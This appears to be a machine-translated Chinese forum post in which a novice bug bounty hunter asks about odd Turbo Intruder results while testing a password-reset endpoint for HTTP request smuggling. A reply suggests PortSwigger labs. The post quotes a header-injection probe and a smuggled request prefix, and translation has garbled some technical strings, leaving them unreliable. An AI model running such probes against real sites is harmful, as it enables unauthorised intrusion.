Security 使用涡轮入侵者时的奇怪反应

我是一个臭虫赏金猎人，对它还不熟悉。几天前，我读到了有关请求走私漏洞的信息。就在那之后，我开始在网上找到它。昨天，我发现一个网站，当我在标题中添加X-Forwarded-Host:google.com时，它将我重定向到了。很难利用这一点，所以我考虑将其与请求走私结合起来。我选择更改密码请求作为目标：

POST /my-rx/forgot-password HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0

然后我用涡轮入侵者运行它。我非常惊讶，它发送了14个请求，但只有12个请求是503，剩下的2个是200。特别是，在200响应头中，它有…传输编码：chunked。。。。我试过几次，结果都是一样的：1到2个请求就是200个。但在代码中，有一点很奇怪，就是…prefix='GET/hoppully404http/1.1 X-忽略：X'。。。。经过几次测试后，我认为这不是请求走私错误，因为响应显示它是原始请求的响应，而不是代码中的前缀，我也尝试更改前缀，它仍然是200，而不是400，404。。。就像我预料的那样

那么有没有人一定是非常专业的黑客知道我面临什么漏洞？谢谢大家!

首先，你的第一次转化的reuest是在TE中分块的；CL，但在使用打嗝扩展后，您找到了它的CL；所以问题可能就在那里。 对于您有点困惑的回答，我建议您解决portswigger http请求走私实验室，因为我最近已经完成了这项工作，您的基础将变得非常强大
